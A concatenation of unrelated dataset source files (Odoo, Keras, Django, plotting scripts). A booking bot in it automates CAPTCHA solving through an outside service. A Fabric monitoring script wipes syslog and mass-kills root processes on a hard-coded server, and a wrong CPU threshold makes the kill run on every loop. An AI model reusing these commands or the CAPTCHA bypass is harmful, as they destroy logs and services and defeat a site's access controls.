lot_id=lines.lot_id.id).read([\n 'qty_available',\n 'free_qty',\n 'virtual_available',\n ])\n else:\n product_qties = lines.mapped('product_id').with_context(to_date=scheduled_date, warehouse=warehouse).read([\n 'qty_available',\n 'free_qty',\n 'virtual_available',\n ])\n qties_per_product = {\n product['id']: (product['qty_available'], product['free_qty'], product['virtual_available'])\n for product in product_qties\n }\n for line in lines:\n line.scheduled_date = scheduled_date\n qty_available_today, free_qty_today, virtual_available_at_date = qties_per_product[line.product_id.id]\n line.qty_available_today = qty_available_today - qty_processed_per_product[line.product_id.id]\n line.free_qty_today = free_qty_today - qty_processed_per_product[line.product_id.id]\n line.virtual_available_at_date = virtual_available_at_date - qty_processed_per_product[line.product_id.id]\n qty_processed_per_product[line.product_id.id] += line.product_uom_qty\n treated |= lines\n remaining = (self - treated)\n remaining.virtual_available_at_date = False\n remaining.scheduled_date = False\n remaining.free_qty_today = False\n remaining.qty_available_today = False\n remaining.warehouse_id = False\n\n def _prepare_invoice_line(self):\n \"\"\"\n Prepare the dict of values to create the new invoice line for a sales order line.\n\n :param qty: float quantity to invoice\n \"\"\"\n self.ensure_one()\n res = super(SaleOrderLine, self)._prepare_invoice_line()\n res['lot_id'] = self.lot_id and self.lot_id.id or False\n return res\n","sub_path":"fal_sale_by_lot/models/sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"550444342","text":"import torch\nimport scipy.cluster.hierarchy as sch\nimport matplotlib.pyplot as plt\nfrom sklearn import decomposition\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nfrom matplotlib import cm\nimport os\n\ndef main():\n print('Initiating...')\n filter_show = range(5)\n typeorder = 0\n tar_data = torch.load('/data/HaoChen/knowledge_distillation/PCA/tar_pretrain_0_CUB_v1.pkl')\n num, filter_num, top_num, channel, filter_col, filter_row = tar_data.shape\n count = channel * filter_row * filter_col\n plt.switch_backend('agg')\n del tar_data\n print('Finished!')\n for root_dir in [\"./Hierarchical_data/res_0.2_parttrain\",\n \"./Hierarchical_data/res_0.5_parttrain\",\n \"./Hierarchical_data/res_pretrain\"]:\n for filter_order in filter_show:\n print(root_dir)\n print(\"filter (%d/%d)\\tsample (%d)\\t\" % (filter_order + 1, filter_num, num) + \"Ploting ...\")\n dir = root_dir + \"_%d/filter(%d,%d)/res/\" % (\n typeorder, filter_order + 1, filter_num)\n assert (os.path.exists(dir))\n Cluster_data = torch.load( dir + \"cluster_data.pth.tar\")\n dir = dir + \"figures/\"\n if not os.path.exists(dir):\n os.makedirs(dir)\n # else:\n # continue\n alpha_range = np.arange(0.01, 1.01, 0.01)\n rate_range = np.arange(0, 1, 0.01)\n x,y = np.meshgrid(alpha_range,rate_range)\n for key in Cluster_data.keys():\n print(key,'\\tShape:',Cluster_data[key].shape)\n z = Cluster_data[key]\n fig = plt.figure()\n ax = Axes3D(fig)\n ax.view_init(45, 120)\n ax.plot_surface(x, y, z, rstride=1, cstride=1, cmap='rainbow')\n ax.set_xlabel('alpha', color='r')\n ax.set_ylabel('rate', color='g')\n ax.set_zlabel('n_cluster', color='b')\n plt.title(key+\"_filter(%d/%d)sample(%d)\" % (filter_order + 1, filter_num, num) + root_dir, color='b')\n fig.savefig(dir+key+'.png')\n print(\"filter (%d/%d)\\tsample (%d)\\t\" % (filter_order + 1, filter_num, num) + \"Ploting Finished\")\n print(\"\")\n\nif __name__ == '__main__':\n main()","sub_path":"PCA/ilsvrc/plt3d.py","file_name":"plt3d.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"241281189","text":"\nimport logging\nimport os\nimport time\nimport sys\nimport json\nimport subprocess\nimport threading\nimport requests\n\nfrom http_client import HttpClient\nfrom users_data import form_data, anticaptcha_api_key\nfrom utils import get_file_content, save_html, SESSION_ID_COOKIE, DUMPS_FOLDER\nfrom lxml import html\nfrom datetime import datetime as dt\n\nclass Browser:\n NB_RETRIES = 5\n\n def __init__(self, config, form_data, tg_bot, http_client):\n self.url_base = f'{config.url}/booking/create/{config.form_id}'\n self.url_start = f'{self.url_base}/0'\n self.form_data = form_data\n self.config = config\n self.tg_bot = tg_bot\n self.user_email = form_data['email']\n self.logger = logging.getLogger(f\"Browser {self.user_email}\")\n self.form_submit_started = False\n self.form_submit_lock = threading.Lock()\n self.logger.info(f'Page 1: Loading \"{self.url_start}\"')\n response = requests.get(self.url_start, headers={\"user-agent\": HttpClient.USER_AGENT})\n self.session_id = response.cookies[SESSION_ID_COOKIE]\n self.log_step(f'🛫 Starting to watch for dates on {self.url_start}\\nSessionId: `{self.session_id}`')\n self.http_client = http_client\n self.rdv_taken = False\n self.updated_state = False\n\n def log_step(self, message):\n self.logger.warning(message)\n self.tg_bot.send_to_admins(\"\\n\".join([f'`{self.user_email}`:', message]))\n\n def post(self, url, data):\n return self.http_client.req(\n 'post',\n url,\n max_retries=Browser.NB_RETRIES,\n cookies={SESSION_ID_COOKIE: self.session_id},\n headers={\n \"ogirin\": url,\n \"referer\": url,\n },\n data=data\n )\n\n def update_internal_server_state(self):\n if self.updated_state:\n self.log_step('Step 0-3: skipping. Internal server state already updated.')\n return\n self.log_step('Step 0: Validating conditions')\n page = self.post(\n self.url_start,\n {\n 'condition': 'on',\n 'nextButton': 'Effectuer+une+demande+de+rendez-vous',\n }\n )\n tree = html.fromstring(page.content)\n next_button = tree.xpath(\"//input[@name='nextButton']\")\n if not len(next_button):\n save_html(page.content)\n raise Exception(\"Step 0: Next button not found\")\n if next_button[0].value != \"Etape suivante\":\n save_html(page.content)\n raise Exception(\"Step 0: Dates not available :(\")\n\n planning_input = tree.xpath(\"//input[@name='planning']\")\n # for test only\n if len(planning_input):\n self.log_step('Step 1: Selecting RDV type')\n page = self.post(\n f\"{self.url_base}/1\",\n {\n 'planning': planning_input[-1].attrib['value'],\n 'nextButton': next_button[0].value,\n }\n )\n tree = html.fromstring(page.content)\n next_button = tree.xpath(\"//input[@name='nextButton']\")\n if not len(next_button):\n save_html(page.content)\n raise Exception('Step 1: Next button not found')\n if next_button[0].value != \"Etape suivante\":\n save_html(page.content)\n raise Exception(\"Step 1: Dates not available :(\")\n else:\n self.logger.info('Step 1: Implicit')\n\n self.log_step('Step 3: Submitting form and implicitly choosing RDV type')\n page = self.post(\n f\"{self.url_base}/3\",\n {'nextButton': 'Etape suivante'}\n )\n tree = html.fromstring(page.content)\n etape4_active = tree.xpath(\"//img[contains(@src, '/etape_4r.png')]\")\n if not len(etape4_active):\n save_html(page.content)\n raise Exception(\"Step 3: Dates not available :(\")\n self.updated_state = True\n\n def get_captcha_solution(self):\n task_resp = requests.post('https://api.anti-captcha.com/createTask', json={\n 'clientKey' : anticaptcha_api_key,\n 'task':\n {\n \"type\":\"RecaptchaV2TaskProxyless\",\n \"websiteURL\": self.config.url,\n \"websiteKey\": self.config.recatcha_sitekey\n }\n })\n task_id = task_resp.json()['taskId']\n g_captcha_response = None\n for i in range(0, 60*2*2):\n resp = requests.post('https://api.anti-captcha.com/getTaskResult', json={\n \"clientKey\": anticaptcha_api_key,\n \"taskId\": task_id\n }).json()\n if 'status' in resp and resp['status'] == 'ready':\n g_captcha_response = resp['solution']['gRecaptchaResponse']\n break\n time.sleep(0.5)\n if i % 20 == 0:\n self.logger.warning(f'Anticaptcha status: {resp[\"status\"]}. waiting 10 sec..')\n\n if not g_captcha_response:\n raise Exception(\"Anticaptcha not solved in 2 min.\")\n return g_captcha_response\n\n def book_date(self, date_url):\n self.log_step(f'Step 4: Via Http getting \"{date_url}\"')\n page = self.http_client.get(\n date_url,\n max_retries=Browser.NB_RETRIES,\n cookies={SESSION_ID_COOKIE: self.session_id},\n headers={\n \"ogirin\": date_url,\n \"referer\": date_url,\n })\n if not page:\n raise Exception('☠️ Step 4: Failed to load')\n\n self.log_step(f'✅ Step 4: Via Http loaded {date_url}')\n self.log_step('Step 6: Solving anticaptcha')\n g_captcha_response = self.get_captcha_solution()\n self.log_step('✅ Step 6: Anticaptcha solved')\n page = self.post(\n f\"{self.url_base}/6\",\n {\n 'g-recaptcha-response': g_captcha_response,\n 'nextButton': 'Etape+suivante'\n })\n tree = html.fromstring(page.content)\n next_button = tree.xpath(\"//input[@name='nextButton']\")\n if not len(next_button):\n save_html(page.content)\n raise Exception('☠️ Step 6: Next button not found')\n if next_button[0].value != \"Etape suivante\":\n save_html(page.content)\n raise Exception(\"☠️ Step 6: Dates not available :(\")\n self.log_step('✅ Step 6: Anticaptcha accepted')\n self.log_step('Step 8: Submitting form')\n page = self.post(\n f\"{self.url_base}/8\",\n {\n **self.form_data,\n 'nextButton': 'Etape+suivante'\n })\n tree = html.fromstring(page.content)\n message_sent = tree.xpath(\"//li[contains(text(), 'Vous disposez de 60 minutes pour confirmer')]\")\n if not len(message_sent):\n save_html(page.content)\n self.log_step('☠️ Step 8: Not submitted :(')\n raise Exception('☠️ Step 8: Message not sent')\n self.log_step('✅ Step 8: Submitted. Check email')\n\n def submit_form(self, date_url, date_chosen, timestamp):\n with self.form_submit_lock:\n if self.form_submit_started:\n self.logger.info('Form submit already started. Skipping...')\n return\n else:\n self.form_submit_started = True\n try:\n self.log_step(f'Form submit started. Date: {date_chosen} (unix timestamp: {timestamp})')\n self.update_internal_server_state()\n self.book_date(date_url)\n\n self.log_step(f'💚 RDV Taken @ `{date_chosen}` (unix timestamp: {timestamp})')\n self.rdv_taken = True\n except Exception as err:\n self.logger.error(\"phfew. Error: \")\n self.logger.exception(err)\n with self.form_submit_lock:\n self.logger.warning('Resetting form submit status')\n self.form_submit_started = False\n\n","sub_path":"browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"250090597","text":"from fabric.api import *\nimport time\nimport xlsxwriter\nimport mail\n\n#setting remote server ip address\nenv.hosts = [\"root@104.236.13.215\"]\n\n#Defining function to monitor server\ndef start_Monitoring():\n #Creating excel file with headers Time,Memory and CPU\n workbook = xlsxwriter.Workbook('data.xlsx')\n worksheet = workbook.add_worksheet()\n bold = workbook.add_format({'bold': True})\n worksheet.write('A1', 'Time',bold)\n worksheet.write('B1', 'Memory (%)',bold)\n worksheet.write('C1', 'Disk (%)',bold)\n worksheet.write('D1', 'CPU (%)',bold)\n\t\n print( \"Memory\\tDisk\\tCPU\\n\")\n \n\t#Setting up total time period for monitoring.\n seconds=0\n end=10\n time_laps=2\n\t\n\t#Setting up excel sheet starting insertion cell.\n row = 1\n col = 0\n\t\n while (seconds < end):\n\t \n\t\t# Writing seconds in excel cell\n worksheet.write(row, col, seconds)\n col = col+1\n\t\t\n\t\t#running commands on remote server to find Memory utility\n h1 = \"\"\" free -m | awk 'NR==2{printf \"%.2f%%\\t\\t\", $3*100/$2 }' \"\"\"\n MEMORY=run(h1)\n\t\t#Storing remote server memory utility in excel cell\n worksheet.write(row, col, float(MEMORY[:-1]))\n col = col+1\n\t\t \n\t\t\n\t\t#running commands on remote server to find Disk utility\n h2 = \"\"\" df -h | awk '$NF==\"/\"{printf \"%s\\t\\t\", $5}' \"\"\"\n DISK=run(h2)\n\t\t#Storing remote server Disk utility in excel cell\n worksheet.write(row, col, float(DISK[:-1]))\n col = col+1\n\t\t\n\t\t#Recovering remote server from disk/file failure by clearing log files.\n if (float(DISK[:-1])) > 80.0 :\n cmd1=\">/var/log/syslog\"\n run(cmd1)\n print(\"Disk freed\")\n\t\t #Sending mail to recovery team (Please set the user name and password for gmail in ./conf/credentials.yml\" file)\n mail.send_Mail( \"Disk\")\n\t\t \n\t\t\n\t\t#running commands on remote server to find CPU utility\n h3 = \"\"\" top -bn1 | grep load | awk '{printf \"%.2f%%\\t\\t\", $(NF-2)}' \"\"\"\n CPU=run(h3)\n\t\t#Storing remote server CPU utility in excel cell\n worksheet.write(row, col, float(CPU[:-1]))\n col = col+1\n\t\t\n\t\t#Recovering remote server from CPU failure by killing all processes except necessary.\n if (float(CPU[:-1])) > -0.05 :\n cmd2=\"\"\" ps -U root | egrep -v \"ssh|screen\" | cut -b11-15 | xargs -t kill \"\"\"\n with quiet():\n run(cmd2)\n print(\"CPU freed\")\n\t\t\t \n\t\t #Sending mail to recovery team\n mail.send_Mail( \"CPU\")\n\t\t\n print('%s\\t%s\\t%s\\n' %(MEMORY,DISK,CPU))\n time.sleep(time_laps)\n\t\t\n\t\t#Incrementing time and excel cell after every iteration\n seconds=seconds+time_laps\n row = row+1\n col = 0\n\t\t\n\n\t# Taking line type graph for visualisation\t\n chart1 = workbook.add_chart({'type': 'line'})\n\t\n\t# Adding Memory,Disk and CPU values to the graph (When change the \"end\"\ttime change \"11\" to (end/2)+1 \n chart1.add_series({'name':'Sheet1!$B$1', 'categories':'Sheet1!$A$2:$A$6', 'values':'Sheet1!$B$2:$B$6'})\n chart1.add_series({'name':'Sheet1!$C$1', 'categories':'Sheet1!$A$2:$A$6', 'values':'Sheet1!$C$2:$C$6'})\n chart1.add_series({'name':'Sheet1!$D$1', 'categories':'Sheet1!$A$2:$A$6', 'values':'Sheet1!$D$2:$D$6'})\n\t\n\t# Addind title, x-axis name and y- axis name for the graph\n chart1.set_title ({'name': 'Percentage Utilisation'})\n chart1.set_x_axis({'name': 'Time (seconds)'})\n chart1.set_y_axis({'name': '%used'})\n chart1.set_style(10)\n\t\n\t# Inserting chart starting at F7 cell and adding offset values \n worksheet.insert_chart('F7', chart1, {'x_offset': 0, 'y_offset': 0,'x_scale': 1, 'y_scale': 1})\n\t\n workbook.close()\n \n \n \n\t\t\n \n \n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"396900712","text":"#!/usr/bin/env python\n#!coding=utf8\nfrom sys import argv\n\n\nfilename=argv[1]\nseekn=int(argv[2])\ndest=argv[3]\nnum=len(dest)\n\nwith open(filename,'r+') as fn:\n fn.seek(seekn)\n ago=fn.read()\n dest= dest+ago\n fn.seek(seekn)\n fn.write(dest)\n fn.flush()\n","sub_path":"homework-1/ins.py","file_name":"ins.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"300595719","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/solstice/tools/outliner/outliners/camera.py\n# Compiled at: 2020-03-08 13:23:27\n# Size of source mod 2**32: 571 bytes\n\"\"\"\nModule that contains outliner implementations for Solstice Camera assets\n\"\"\"\nfrom __future__ import print_function, division, absolute_import\n__author__ = 'Tomas Poveda'\n__license__ = 'MIT'\n__maintainer__ = 'Tomas Poveda'\n__email__ = 'tpovedatd@gmail.com'\nfrom artellapipe.tools.outliner.widgets import baseoutliner\n\nclass SolsticeCamerasOutliner(baseoutliner.BaseOutliner, object):\n\n def __init__(self, project, parent=None):\n super(SolsticeCamerasOutliner, self).__init__(project=project, parent=parent)","sub_path":"pycfiles/solstice_tools_outliner-0.0.3-py3.6/camera.cpython-36.py","file_name":"camera.cpython-36.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"442840439","text":"from random import randint\n\nx = randint(1,6)\ny = 0 #dodane jako 0, żeby program widział y ale nie brał go pod uwagę\n#przed rozpoczęciem gry\n\na=1\nb=100\n\nwhile x!=y: #x!=y tzn x różne od y\n # y = int(input('podaj liczbę '))\n #y=randint(a,b)\n y=(a+b)//2\n if yx:\n print('za dużo')\n b = y\n\n \nprint('super, to było ', x)\n#end while\n","sub_path":"samozgadujący - podaj liczbę(1).py","file_name":"samozgadujący - podaj liczbę(1).py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"287057033","text":"\nfrom keras import backend\n\n\nfrom keras.models import Sequential, Model\nfrom keras.layers import Input, Dense, Dropout, Activation, Lambda, Permute, Reshape, Flatten, Masking\nfrom keras.layers import Multiply, Dot, RepeatVector,Concatenate,Add,Lambda\nfrom keras.layers import Embedding\nfrom keras.layers import LSTM,Bidirectional,BatchNormalization\nfrom keras.layers import Conv1D, MaxPooling1D\nfrom keras.layers import TimeDistributed\n\nimport matplotlib.pyplot as plt\nfrom keras.utils import plot_model\nfrom keras.callbacks import TensorBoard\n\nimport pandas as pd\nimport numpy as np\n\nfrom EmbeddingRST import EmbeddingRST_model\nfrom feature_generation_train import ConvertSequence2Feature\n\nimport os\n\ndata_all = pd.read_csv('AMPs_Experiment_Dataset\\\\AMP_sequecnces\\\\seq_all_data.csv', index_col=0)\ntrain = data_all.iloc[0:2132].reset_index(drop=True)\ntest = data_all.iloc[2132:3556].reset_index(drop=True)\n\nx_train_index, x_train_length, x_train_pssm, x_train_onehot,x_train_aac,y_train= ConvertSequence2Feature(sequence_data=train, pssmdir=os.path.join('AMPs_Experiment_Dataset','PSSM_files','train_tune'))\nx_test_index, x_test_length, x_test_pssm, x_test_onehot, x_test_aac, y_test = ConvertSequence2Feature(sequence_data=test, pssmdir=os.path.join('AMPs_Experiment_Dataset','PSSM_files','test'))\n\n\ndef length_index(length_list, feature_data, label):\n index30_200 = []\n index1_29 = []\n labelnp = np.array(label)\n for i in range(len(length_list)):\n if(length_list[i])>29:\n index30_200.append(i)\n else:\n index1_29.append(i)\n feature_data30_200 = feature_data[index30_200]\n labelnp30_200 = labelnp[index30_200]\n feature_data1_29 = feature_data[index1_29]\n labelnp1_29 = labelnp[index1_29]\n\n\n return feature_data30_200,labelnp30_200,feature_data1_29,labelnp1_29\n\nx_train_onehot30_200,y_train_onehot30_200,x_train_onehot1_29,y_train_onehot1_29 = length_index(x_train_length, x_train_onehot,y_train)\nx_train_pssm30_200,y_train_pssm30_200,x_train_pssm1_29,y_train_pssm1_29 = length_index(x_train_length, x_train_pssm,y_train)\n\nx_test_onehot30_200,y_test_onehot30_200,x_test_onehot1_29,y_test_onehot1_29 = length_index(x_test_length, x_test_onehot,y_test)\nx_test_pssm30_200,y_test_pssm30_200,x_test_pssm1_29,y_test_pssm1_29 = length_index(x_test_length, x_test_pssm,y_test)\nx_test_aac30_200,y_test_aac30_200,x_test_aac1_29,y_test_aac1_29 = length_index(x_test_length, x_test_aac,y_test)\n\n\n\ndef creat_model():\n droupot_para = 0.3\n e_dim = 64\n feture_dim = 64\n\n inputs_aac = Input(shape=(21,),name='main_input_aac')\n hidden_acc = Dense(100, activation='relu')(inputs_aac)\n hidden_acc = Dropout(droupot_para)(hidden_acc)\n hidden_acc = Dense(feture_dim, activation='relu')(hidden_acc)\n hidden_acc = Dropout(droupot_para)(hidden_acc)\n hidden_acc = Reshape((1,-1))(hidden_acc)\n\n\n inputs_ot = Input(shape=(200,21),name='main_input_ot')\n emb_ot = EmbeddingRST_model(input_dim=21,output_dim=e_dim,input_length=200,\n name='emb_tensor_ot')(inputs_ot)\n\n cov1d_ot = Conv1D(64, 16, activation='relu',strides=1, padding='same',\n kernel_initializer='random_normal')(emb_ot)\n maxpool_ot = MaxPooling1D(3)(cov1d_ot)\n lstm_out_ot = LSTM(feture_dim,dropout=droupot_para,return_sequences=True,unroll=True)(maxpool_ot)\n\n\n\n inputs_pm = Input(shape=(200,21),name='main_input_pm')\n\n emb_pm = EmbeddingRST_model(input_dim=21,output_dim=e_dim,input_length=200,\n name='emb_tensor_pm')(inputs_pm)\n cov1d_pm = Conv1D(64, 16, activation='relu',strides=1, padding='same',\n kernel_initializer='random_normal')(emb_pm)\n maxpool_pm = MaxPooling1D(5)(cov1d_pm)\n lstm_out_pm = LSTM(feture_dim,dropout=droupot_para,return_sequences=True,unroll=True)(maxpool_pm)\n\n\n lstm_out_permute_ot = Permute((2,1))(lstm_out_ot)\n attention_weights_ot = TimeDistributed(Dense(1))(lstm_out_ot)\n attention_weights_ot = Flatten()(attention_weights_ot)\n attention_weights_ot = Activation('softmax',name='attention_weights_ot')(attention_weights_ot)\n attention_weights_ot = Dropout(droupot_para)(attention_weights_ot)\n merge_out_ot = Dot(-1,name='merge_out1')([attention_weights_ot,lstm_out_permute_ot])\n merge_out_ot = Reshape((1,-1))(merge_out_ot)\n\n lstm_out_permute_pm = Permute((2,1))(lstm_out_pm)\n attention_weights_pm = TimeDistributed(Dense(1))(lstm_out_pm)\n attention_weights_pm = Flatten()(attention_weights_pm)\n attention_weights_pm = Activation('softmax',name='attention_weights_pm')(attention_weights_pm)\n attention_weights_pm = Dropout(droupot_para)(attention_weights_pm)\n merge_out_pm = Dot(-1,name='merge_out2')([attention_weights_pm,lstm_out_permute_pm])\n merge_out_pm = Reshape((1,-1))(merge_out_pm)\n\n\n concat_one_pssm = Concatenate(axis=1)([hidden_acc,merge_out_ot, merge_out_pm])\n cov_f = Conv1D(feture_dim, 3, activation='relu',strides=1, padding='valid',\n kernel_initializer='random_normal')(concat_one_pssm)\n concat_one_pssm_aac = Concatenate(axis=2)([hidden_acc,cov_f])\n concat_one_pssm_ot = Concatenate(axis=2)([merge_out_ot, cov_f])\n concat_one_pssm_pm = Concatenate(axis=2)([merge_out_pm, cov_f])\n concat_3 = Concatenate(axis=1)([concat_one_pssm_aac,concat_one_pssm_ot,concat_one_pssm_pm])\n\n\n concat_permute = Permute((2, 1))(concat_one_pssm)\n concat_attention_weights = TimeDistributed(Dense(1))(concat_3)\n concat_attention_weights = Flatten()(concat_attention_weights)\n concat_attention_weights = Activation('softmax', name='select_weights')(concat_attention_weights)\n concat_attention_weights = Dropout(droupot_para)(concat_attention_weights)\n merge_out = Dot(-1, name='merge_select')([concat_attention_weights, concat_permute])\n\n\n y_out = Dense(1, activation='sigmoid')(merge_out)\n\n model = Model(inputs=[inputs_aac, inputs_ot, inputs_pm], outputs=y_out)\n\n model.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n return model\n\n\n\n\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import binarize\nfrom sklearn import metrics\n\n\nx_all_aac = np.vstack([x_train_aac,x_test_aac])\nx_all_ot = np.vstack([x_train_onehot,x_test_onehot])\nx_all_pm = np.vstack([x_train_pssm,x_test_pssm])\ny_all = np.hstack([y_train,y_test])\n\n\nimport time\n\n\ndef CV_fun(randomstate=0):\n print('###########------ randomstate %d ------############'%randomstate)\n X1 = x_all_aac\n X2 = x_all_ot\n X3 = x_all_pm\n Y = y_all\n skf = StratifiedKFold(n_splits=10, random_state=randomstate, shuffle=True)\n count = 0\n sens_cv = np.array([])\n sepc_cv = np.array([])\n acc_cv = np.array([])\n mcc_cv = np.array([])\n auc_cv = np.array([])\n\n\n for train_index, test_index in skf.split(X1, Y):\n x_cv_tarin_aac, x_cv_tarin_ot, x_cv_tarin_pm, y_cv_train = X1[train_index], X2[train_index], X3[train_index], Y[\n train_index]\n x_cv_test_aac, x_cv_test_ot, x_cv_test_pm, y_cv_test = X1[test_index], X2[test_index], X3[test_index], Y[\n test_index]\n model0_1 = creat_model()\n model0_1.fit([x_cv_tarin_aac, x_cv_tarin_ot, x_cv_tarin_pm], y_cv_train, batch_size=16, epochs=30, verbose=0)\n y_pred_prob = model0_1.predict([x_cv_test_aac, x_cv_test_ot, x_cv_test_pm])\n\n del model0_1\n backend.clear_session()\n\n count = count + 1\n print('--------------', 'CV ', count, '---------------------')\n\n\n y_pred_prob = y_pred_prob.flatten()\n y_pred_class = binarize([y_pred_prob], 0.5)[0]\n\n\n confusion = metrics.confusion_matrix(y_cv_test, y_pred_class)\n print(confusion)\n TN, FP, FN, TP = metrics.confusion_matrix(y_cv_test, y_pred_class).ravel()\n print('TN:', TN, 'FP:', FP, 'FN:', FN, 'TP:', TP)\n\n ACC = metrics.accuracy_score(y_cv_test, y_pred_class)\n print('Accuracy:', ACC)\n acc_cv = np.append(acc_cv, ACC)\n\n Error = 1 - metrics.accuracy_score(y_cv_test, y_pred_class)\n print('Error:', Error)\n\n if (TP + FN != 0):\n Sens = metrics.recall_score(y_cv_test, y_pred_class)\n else:\n Sens = 1\n print('Sensitivity:', Sens)\n sens_cv = np.append(sens_cv, Sens)\n\n if (TN + FP != 0):\n Spec = TN / float(TN + FP)\n else:\n Spec = 1\n print('Specificity:', Spec)\n sepc_cv = np.append(sepc_cv, Spec)\n\n FPR = 1 - Spec\n print('False Positive Rate:', FPR)\n\n if (TP + FP != 0):\n Precision = metrics.precision_score(y_cv_test, y_pred_class)\n else:\n Precision = 1\n print('Precision:', Precision)\n\n if (Precision != 0 and Sens != 0):\n F1_score = metrics.f1_score(y_cv_test, y_pred_class)\n else:\n F1_score = 0.5\n print('F1 score:', F1_score)\n\n if (TP + FP == 0 or TP + FN == 0 or TN + FP == 0 or TN + FN == 0):\n MCC = 1\n else:\n MCC = metrics.matthews_corrcoef(y_cv_test, y_pred_class)\n print('Matthews correlation coefficient:', MCC)\n mcc_cv = np.append(mcc_cv, MCC)\n\n if (TP + FN != 0 and TN + FP != 0):\n AUC = metrics.roc_auc_score(y_cv_test, y_pred_prob)\n else:\n AUC = 1\n print('ROC Curves and Area Under the Curve (AUC):', AUC)\n auc_cv = np.append(auc_cv, AUC)\n\n #if (count % 5 == 0):\n # time.sleep(600)\n\n\n\n print()\n print('---------------END------------')\n print('Sensitivity:', ' ', sens_cv.mean(), '(', sens_cv.std(), ')')\n print('Specificity:', ' ', sepc_cv.mean(), '(', sepc_cv.std(), ')')\n print('ACC:', ' ', acc_cv.mean(), '(', acc_cv.std(), ')')\n print('MCC:', ' ', mcc_cv.mean(), '(', mcc_cv.std(), ')')\n print('AUC:', ' ', auc_cv.mean(), '(', auc_cv.std(), ')')\n print('\\n\\n\\n')\n\n\nfor i in range(3):\n CV_fun(i)\n","sub_path":"ACME_codes/ACEP_model_CV.py","file_name":"ACEP_model_CV.py","file_ext":"py","file_size_in_byte":10012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"567437309","text":"#!/usr/bin/env python3\n\nimport random\nimport math\n\n\n\ndef V_sph(dim):\n return math.pi ** (dim / 2.0) / math.gamma(dim / 2.0 + 1.0)\n\n\n\ndef Q(dimensions):\n dimensions -= 1\n delta = 0.1\n n_trials = 400000\n n_hits = 0\n old_radius_square = 0\n\n x = [0] * dimensions\n\n\n for i in range(n_trials):\n current_x = random.randint(0, dimensions - 1)\n x_old = x[current_x]\n x_new = x_old + random.uniform(-delta, delta)\n\n x_d = random.uniform(-1,1)\n\n new_radius_square = old_radius_square + x_new ** 2 - x_old ** 2\n\n if new_radius_square < 1.0:\n x[current_x] = x_new\n old_radius_square = new_radius_square\n\n if old_radius_square + x_d ** 2 < 1.0:\n n_hits += 1\n\n q_d = 2.0 * (n_hits / n_trials)\n return q_d\n\n\nexpected = V_sph(4) / V_sph(3)\ncalculated = Q(4)\n\nprint(\"V_sph(4)/V_sph(3)\", expected)\nprint(\"Q(4)\", calculated)\nprint(\"diff\", expected - calculated)\nprint()\n\n\nexpected = V_sph(200) / V_sph(199)\ncalculated = Q(200)\n\nprint(\"V_sph(200)/V_sph(199)\", V_sph(200) / V_sph(199))\nprint(\"Q(200)\", Q(200))\nprint(\"diff\", expected - calculated)\n","sub_path":"b2.py","file_name":"b2.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"371568294","text":"import datetime\n\nimport vinlookup.bsa\nimport vinlookup.triumph\n\nfrom django.shortcuts import render\nfrom django.views.generic import ListView\n\nfrom .models import Search, UserSearchHistory\n\nclass SearchView(ListView):\n model = Search\n context_object_name = 'parts'\n template_name = 'search_results.html'\n\n def get_queryset(self):\n brand = self.request.GET.get('brand')\n term = self.request.GET.get('term')\n print(\"brand=\"+brand)\n print(\"term=\"+term)\n results = Search.objects.filter(brand=brand, term=term)\n if not results:\n if brand == \"bsa\":\n results = vinlookup.bsa.decode(term)\n elif brand == \"triumph\":\n import pdb\n pdb.set_trace()\n results = vinlookup.triumph.decode(term)\n else:\n raise Exception(\"Invalid brand!\")\n \n if not self.request.user.is_authenticated():\n try:\n self.save_to_history(results)\n except:\n pass\n\n return results\n \n def get_context_data(self, **kwargs):\n context = super(SearchView, self).get_context_data(**kwargs)\n context.update({'brand':self.request.GET.get('brand'),\n 'term':self.request.GET.get('term')})\n return context\n\n def save_to_history(self, results):\n request = self.request\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ipaddress = x_forwarded_for.split(',')[-1].strip()\n else:\n ipaddress = request.META.get('REMOTE_ADDR')\n term = request.GET.get('term')\n if results:\n for result in results:\n get_ip= UserSearchHistory(ip_address=ipaddress, pub_date = datetime.datetime.now())\n get_ip.term= result.term\n get_ip.result = result.result\n get_ip.save()\n else:\n get_ip= UserSearchHistory(ip_address=ipaddress, pub_date = datetime.datetime.now())\n get_ip.term= term\n get_ip.result = 'No Result'\n get_ip.save()","sub_path":"partsearch/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"131729153","text":"#Projeto 01, Evolutinary Computing\n#Differencial Evolution Code\n#Srta Camelo\n\nimport fitness as ft\nimport numpy as np\nimport random\nimport math\n\n\"\"\"\nREFERENCIA: 